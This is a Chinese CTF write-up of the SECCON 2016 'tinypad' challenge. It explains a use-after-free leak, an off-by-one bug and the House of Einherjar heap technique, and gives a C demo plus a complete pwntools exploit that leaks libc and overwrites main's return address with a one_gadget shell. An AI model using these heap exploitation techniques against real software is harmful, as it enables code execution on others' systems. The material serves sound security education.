Tinypad Seccon CTF 2016(House Of Einherjar)

Tinypad Seccon CTF 2016(House Of Einherjar)

序言

随着对how2heap的学习, 难度也是越来越大, 改革进入了深水区.

程序运行

1.菜单

| [A] Add memo                                                                 |
| [D] Delete memo                                                              |
| [E] Edit memo                                                                |
| [Q] Quit      

2. Add memo

(CMD)>>>  A

(SIZE)>>> 32
(CONTENT)>>> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Added.

3. Delete memo

(CMD)>>> D

(INDEX)>>> 1

Deleted.

4. Edit memo

(CMD)>>> E

(INDEX)>>> 1
CONTENT: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(CONTENT)>>> BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Is it OK?
(Y/n)>>> Y

Edited.

5. Exit

(CMD)>>>  Q

程序分析

1. checksec

struct node{
  int size;
  char* s;
}tinypad[4];

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

    结论: Full RELRO代表我们不能复写got表.NX代表我们不能使用shellcode, Canary found代表我们不能使用栈溢出.说实话, 现在的CTF全国性质大赛使用栈溢出的题已经比较少了, 大部分都是PWN技能的高级应用.

2. 内存泄露

    通过观察发现, 程序定了一个tinypad的数组, 数组存放在0x6020140.Delete memo时程序只是将size置为0,将s对应的堆地址释放, 并没有将s本身置为NULL, 而程序就是通过判断s是否为空来进行显示对应的数组内容, 于是存在内存泄露.

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３.缓冲区

    通过上图分析, 程序会将0x602040作为一个编辑的缓冲去, 输入Y之后才会将输入内容复制到s对应的堆块中去.

4.一个假设

    假如我们能够分配一个地址在0x602040附近, 那么我们就能通过分配足够的内存, 编辑tinypad数组的内容, 修改s指向的堆块, 实现任意地址读写.

知识点讲解

1. Off By One

Off By One经常和Hous Of Attack之类的技巧组合在一起.

2. House Of Einherjar

该堆利用技术可以强制使得malloc返回一个几乎任意地址的chunk.其主要在于滥用free中的后巷合并操作.

结论: 二者配合使用, 可以发挥无穷威力.

栗子

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
    char* s0 = malloc(0x200);　//构造fake chunk
    char* s1 = malloc(0x18);  
    char* s2 = malloc(0xf0);　
    char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
    printf("begin\n");
    printf("%p\n", s0);
    printf("input s0\n");
    read(0, s0, 0x200); //读入fake chunk
    printf("input s1\n");
    read(0, s1, 0x19); //Off By One
    free(s2);
    return 0;
}

对应的利用程序

from pwn import *

p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
'''
p64(address) * 2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr ("corrupted double-linked list");   
'''
payload += p64(0x100) #fake size
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()

前

---

后

unsorted bin @ 0x7fb86398eb88
    free chunk @ 0x17ff010 - size 0x320

    结论: 通过修改对应的size, 我们几乎可以实现任意地址读写. 这个利用脚本将unsorted bin中的fd, bk指向我们fake chunk所在地址.

漏洞分析

1.Off By One

2. 逻辑漏洞

结论:　可以显示释放后的地址的内容, 泄露堆地址.

过程

1. 泄露
原理: 利用unsorted bin中的空闲块是双链表的特性.

add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3)
delete(1)

2.House Of Einherjar

add(0x18, "A"*0x18)
add(0x100, "B"*0xf8 + p64(0x11))
add(0x100, "C"*0x100)
add(0x100, "D"*0x100)

tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2

edit(3, "D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip("\x00"))
'''
循环edit的原因是stcpy()会因为空子节而停止copy, 但每次读取都会将最后一个字节变为NULL, 这样就可以用NULL逐一覆盖, 使2号chunk的prev_size为offset
'''
for i in range(zero_byte_number+1):
  data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')
  edit(1, data)
delete(2)
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) #修复unsorted bin

3.攻击

    将main函数的返回值地址修改为one_gadget地址
由于程序是现将size和s先存放入数组, 后读取内容,　我们可以控制index1指向的地址.

libc_base = main_arena + 0x58 - 0x3c4b78
one_gadget = libc_base + 0x45216
environ_pointer = libc_base + libc.[__environ]
log.info("libc_base: %s" % hex(libc_base))

add(0xf8, "D"*(0x100-0x30) + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))
'''
申请的大小必须为0xf8或0xf0, 要不然不会返回tinypad的地址.
'''
p.recvuntil(" #   INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
main_ret = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x8*30
log.info("environ_addr: %s" % hex(environ_addr))
edit(2, p64(main_ret)) #修改为environ
edit(1, p64(one_gadget))  #
p.interactive()

完整EXP

from pwn import *

p = process("./tinypad")
libc = ELF("./libc.so.6")
context.log_level = 'debug'


def add(size, content):
    p.recvuntil("(CMD)>>> ")
    p.sendline("A")
    p.recvuntil("(SIZE)>>> ")
    p.sendline(str(size))
    p.recvuntil("(CONTENT)>>> ")
    p.sendline(content)

def delete(index):

    p.recvuntil("(CMD)>>> ")
    p.sendline("D")
    p.recvuntil("(INDEX)>>> ")
    p.sendline(str(index))

def edit(index, content, ok=True):
    p.recvuntil("(CMD)>>> ")
    p.sendline("E")
    p.recvuntil("(INDEX)>>> ")
    p.sendline(str(index))
    p.recvuntil("(CONTENT)>>> ")
    p.sendline(content)
    p.recvuntil("(Y/n)>>> ")
    if ok:
        p.sendline("Y")
    else:
        p.sendline("n")

#stage one
add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3)
delete(1)

p.recvuntil(" #   INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x120
log.info("heap_base: %s" % hex(heap))
p.recvuntil(" #   INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena = u64(p.recv(6).ljust(8, "\x00")) - 0x58
log.info("main_arena: %s" % hex(main_arena))

delete(2)
delete(4)

#stage two
add(0x18, "A"*0x18)
add(0x100, "B"*0xf8 + p64(0x11))
add(0x100, "C"*0xf8)
add(0x100, "D"*0xf8)


tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2

edit(3, "D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip("\x00"))
for i in range(zero_byte_number+1):
  data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')
  edit(1, data)


delete(2)
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2)

#gdb.attach(p)

#stage three
libc_base = main_arena + 0x58 - 0x3c4b78
log.info("libc_base: %s" % hex(libc_base))
one_gadget =  libc_base + 0x45216
environ_pointer = libc_base + libc.symbols['__environ']

add(0xf0, "A"*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))

p.recvuntil(" #   INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
main_ret = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x8*30
log.info("environ_addr: %s" % hex(main_ret))
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
#p.recvall()
p.interactive()

多说一句

其他思路也是可以修改top chunk,来做到这一点的, 无奈水平有限，　以后再分析

相关链接

CTF WIKI